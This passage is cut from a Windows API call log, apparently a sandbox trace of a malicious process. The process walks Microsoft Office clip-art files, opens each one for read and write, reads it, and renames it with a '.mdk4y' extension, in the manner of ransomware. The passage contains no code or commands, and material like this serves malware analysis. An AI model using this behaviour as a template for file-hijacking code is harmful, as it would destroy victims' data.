lpPerformanceCount=0x37dee4*=1825667100000) returned 1 [0181.441] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15ea, lpOverlapped=0x0) returned 1 [0181.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825669400000) returned 1 [0181.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825669400000) returned 1 [0181.464] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf.mdk4y")) returned 1 [0181.465] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.465] AreFileApisANSI () returned 1 [0181.465] GetACP () returned 0x4e4 [0181.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0293844.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0293844.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.466] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.466] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825669600000) returned 1 [0181.466] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x812, lpOverlapped=0x0) returned 1 [0181.471] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825670100000) returned 1 [0181.472] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825670200000) returned 1 [0181.472] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf.mdk4y")) returned 1 [0181.472] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.472] AreFileApisANSI () returned 1 [0181.472] GetACP () returned 0x4e4 [0181.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0295241.GIF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0295241.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.472] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825670300000) returned 1 [0181.473] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x29e5, lpOverlapped=0x0) returned 1 [0181.474] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825670400000) returned 1 [0181.474] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825670400000) returned 1 [0181.475] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif.mdk4y")) returned 1 [0181.475] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.475] AreFileApisANSI () returned 1 [0181.475] GetACP () returned 0x4e4 [0181.475] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0297185.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0297185.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.475] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.476] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825670600000) returned 1 [0181.476] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcd52, lpOverlapped=0x0) returned 1 [0181.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825671500000) returned 1 [0181.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825671500000) returned 1 [0181.486] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf.mdk4y")) returned 1 [0181.487] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.487] AreFileApisANSI () returned 1 [0181.487] GetACP () returned 0x4e4 [0181.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0297551.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0297551.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.487] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.488] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825671800000) returned 1 [0181.488] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6db8, lpOverlapped=0x0) returned 1 [0181.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825672400000) returned 1 [0181.495] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825672400000) returned 1 [0181.495] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf.mdk4y")) returned 1 [0181.496] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.496] AreFileApisANSI () returned 1 [0181.496] GetACP () returned 0x4e4 [0181.496] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0297707.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0297707.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.496] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.496] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825672600000) returned 1 [0181.496] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa7c2, lpOverlapped=0x0) returned 1 [0181.506] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825673600000) returned 1 [0181.506] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825673600000) returned 1 [0181.507] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf.mdk4y")) returned 1 [0181.507] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.507] AreFileApisANSI () returned 1 [0181.507] GetACP () returned 0x4e4 [0181.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0297749.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0297749.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.508] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.508] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825673800000) returned 1 [0181.508] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27ba, lpOverlapped=0x0) returned 1 [0181.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825675600000) returned 1 [0181.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825675700000) returned 1 [0181.527] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf.mdk4y")) returned 1 [0181.528] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.528] AreFileApisANSI () returned 1 [0181.528] GetACP () returned 0x4e4 [0181.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0298653.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0298653.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.528] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.528] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825675800000) returned 1 [0181.528] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x197e, lpOverlapped=0x0) returned 1 [0181.542] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825677200000) returned 1 [0181.542] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825677200000) returned 1 [0181.542] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf.mdk4y")) returned 1 [0181.543] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.543] AreFileApisANSI () returned 1 [0181.543] GetACP () returned 0x4e4 [0181.543] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0298897.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0298897.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.543] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.544] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825677400000) returned 1 [0181.544] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x19a6, lpOverlapped=0x0) returned 1 [0181.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825679600000) returned 1 [0181.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825679600000) returned 1 [0181.566] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf.mdk4y")) returned 1 [0181.567] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.567] AreFileApisANSI () returned 1 [0181.567] GetACP () returned 0x4e4 [0181.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0299125.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0299125.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.567] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.568] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825679800000) returned 1 [0181.568] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x163c, lpOverlapped=0x0) returned 1 [0181.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825681300000) returned 1 [0181.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825681300000) returned 1 [0181.584] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf.mdk4y")) returned 1 [0181.585] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.585] AreFileApisANSI () returned 1 [0181.585] GetACP () returned 0x4e4 [0181.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0299171.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0299171.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.585] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825681500000) returned 1 [0181.585] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x23b6, lpOverlapped=0x0) returned 1 [0181.587] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825681700000) returned 1 [0181.587] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825681700000) returned 1 [0181.587] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf.mdk4y")) returned 1 [0181.587] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.587] AreFileApisANSI () returned 1 [0181.587] GetACP () returned 0x4e4 [0181.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0299587.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0299587.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.588] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825681800000) returned 1 [0181.588] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x62c8, lpOverlapped=0x0) returned 1 [0181.596] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825682600000) returned 1 [0181.596] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825682600000) returned 1 [0181.596] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf.mdk4y")) returned 1 [0181.597] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.597] AreFileApisANSI () returned 1 [0181.597] GetACP () returned 0x4e4 [0181.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0299611.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0299611.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.597] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825682800000) returned 1 [0181.598] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1310, lpOverlapped=0x0) returned 1 [0181.599] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825682900000) returned 1 [0181.599] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825682900000) returned 1 [0181.599] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf.mdk4y")) returned 1 [0181.600] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.600] AreFileApisANSI () returned 1 [0181.600] GetACP () returned 0x4e4 [0181.600] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0299763.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0299763.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.600] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.600] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825683000000) returned 1 [0181.601] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4322, lpOverlapped=0x0) returned 1 [0181.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825684800000) returned 1 [0181.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825684800000) returned 1 [0181.618] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf.mdk4y")) returned 1 [0181.619] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.619] AreFileApisANSI () returned 1 [0181.619] GetACP () returned 0x4e4 [0181.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0300520.GIF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0300520.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.619] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825685000000) returned 1 [0181.620] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3465, lpOverlapped=0x0) returned 1 [0181.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825686200000) returned 1 [0181.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825686200000) returned 1 [0181.632] 